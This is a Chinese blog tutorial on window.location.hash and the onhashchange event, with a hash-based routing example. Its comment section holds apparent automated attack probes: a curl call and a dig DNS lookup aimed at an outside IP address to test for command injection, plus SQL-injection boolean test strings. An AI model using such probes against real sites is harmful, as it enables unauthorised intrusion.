做有态度的前端团队

网易FEG前端团队

window.location.hash使用总结

最近做项目经常与window.location.hash打交道,在这总结梳理下。
location.hash可以用来获取或设置页面的标签值,比如http://space.163.com/m/#about的location.hash="#about"。通过window.location.hash = hash 这个语句可以调整地址栏的地址,使得浏览器里边的“前进”、“后退”按钮能正常使用,然后根据hash值的不同来显示不同的模块。

var hash;
hash = (!window.location.hash) ? "#about" : window.location.hash;
window.location.hash = hash;
switch (hash) {  //用switch判断,调整地址栏地址
    case "#about":
        show("panel1");
        break;
    case "#advsearch":
        show("panel2");
        break;
    case "#adminboss":
        show("panel3");
        break;
}

onhashchange事件
在当前 URL 的锚部分(以 '#' 号为开始) 发生改变时触发,这是一个HTML 5新增的事件。IE8+、Firefox 3.6+、Chrome 5+、Safari 5.0+支持该事件。
它的使用方法有三种:


window.onhashchange = function(){};

window.addEventListener("hashchange", function(){}, false);

<body onhashchange="myFunction()">

对于不支持onhashchange的浏览器,可以用setInterval监控location.hash的变化。

调用方式:
通过设置Location 对象 的 location.hash 或 location.href 属性修改锚部分。
使用不同书签导航到当前页面(使用"后退" 或"前进"按钮)
点击链接跳转到书签锚

window.location.hash读取#值
window.location.hash这个属性可读可写。读取时,可以用来判断网页状态是否改变;写入时,则会在不重载网页的前提下,创造一条访问历史记录。

手机阅读请扫描下方二维码:

已有 10 条评论

  1. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  2. curl -m 5 http://35.220.177.255:80/i/c8a2d6/0egh/k4ei/

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    1. admin

      12345678 ali-40.gif

    2. admin

      12345678 ali-40.gif

    3. admin'and'q'='q

      12345678 ali-40.gif

    4. admin'and'z'='y

      12345678 ali-40.gif

  3. dig i-0fbff3-0egh-5e6p. A @35.220.177.255

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  4. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  5. admin

    12345678 ali-40.gif ali-40.gif "and"n"="n

  6. admin

    12345678 ali-40.gif ali-40.gif "and"s"="d

添加新评论

ali-40.gifali-41.gifali-42.gifali-43.gifali-44.gifali-45.gifali-46.gifali-47.gifali-48.gifali-49.gifali-50.gifali-51.gifali-52.gifali-53.gifali-54.gifali-55.gifali-56.gifali-57.gifali-58.gifali-59.gifali-60.gifali-61.gif